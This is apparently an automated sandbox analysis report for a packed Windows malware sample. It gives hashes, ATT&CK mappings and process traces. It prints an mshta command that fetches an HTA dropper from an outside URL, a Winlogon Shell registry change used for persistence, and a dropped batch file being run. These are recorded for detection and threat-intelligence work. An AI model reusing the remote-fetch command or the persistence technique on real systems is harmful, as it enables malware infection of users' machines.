3383331a239a845adc5491cae5c4c5f506d995512f39cf3274bd2c9a02ee7aef

Reason

Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-21T13:35:01Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win7-20231129-en/instance_27-dirty.qcow2\"}"

General

Target

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
Size

319KB
MD5

ff643925ab1766e8824df0ea24bd360d
SHA1

51d1d7776a51c091dbce0941d05bacf17558ed29
SHA256

3383331a239a845adc5491cae5c4c5f506d995512f39cf3274bd2c9a02ee7aef
SHA512

413ef73606c2d8ec0ccd4307da86e0ca2aa5825ee9f072b5376920cfd06d4a752af92c29e54d2b6568432a28c453c8442eab492659bb7562bcd401b5063c4b0d
SSDEEP

6144:IcZHcar1Y1F4kTtCE8y7gSCpgUXGqyzLlxE95/wWT2tHR+weaZ:fHNWw7dy7gS9UX2YPS2a

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://rerererererere.com/inst.php?id=forbidden

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hdddoctor.exe"	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2232-0-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral1/memory/2232-13-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral1/memory/2232-14-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral1/memory/2232-15-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral1/memory/2232-17-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral1/memory/2232-18-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral1/memory/2232-19-0x0000000000400000-0x000000000062F000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description pid process

Token: SeShutdownPrivilege 2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

pid process

2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
2232 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

description	pid	process
Token: SeShutdownPrivilege	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

pid	process
2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description	pid	process	target process
PID 2232 wrote to memory of 2368	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	mshta.exe
PID 2232 wrote to memory of 2368	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	mshta.exe
PID 2232 wrote to memory of 2368	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	mshta.exe
PID 2232 wrote to memory of 2368	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	mshta.exe
PID 2232 wrote to memory of 1176	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	cmd.exe
PID 2232 wrote to memory of 1176	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	cmd.exe
PID 2232 wrote to memory of 1176	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	cmd.exe
PID 2232 wrote to memory of 1176	2232	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden
2⤵
- Modifies Internet Explorer settings
PID:2368

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "
2⤵
PID:1176

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:3036

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1048

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat
Filesize
263B

MD5
732174cfd42a063da51e7235505aae39

SHA1
532ac8a1c574c5a0e067889e5984415ef886ced3

SHA256
bcad8623dd34eb3dad92d91f52924051fca01fae4acf00ce97887071b3ff8688

SHA512
a150d580ea302feb0712bf7baba29b2bc47cc03d310df5aee7c4661bd2674d6357ee05ae12c6a79ceeae7b1aa09440d17d7a21ee64b60d9f9378ed09d03218c1

Download Submit
memory/1048-21-0x0000000002B30000-0x0000000002B31000-memory.dmp

Filesize
4KB

Download
memory/2232-15-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/2232-2-0x0000000003890000-0x00000000038A0000-memory.dmp

Filesize
64KB

Download
memory/2232-13-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/2232-14-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/2232-0-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/2232-16-0x0000000003890000-0x00000000038A0000-memory.dmp

Filesize
64KB

Download
memory/2232-17-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/2232-18-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/2232-19-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/2232-1-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/3036-20-0x0000000002E90000-0x0000000002E91000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads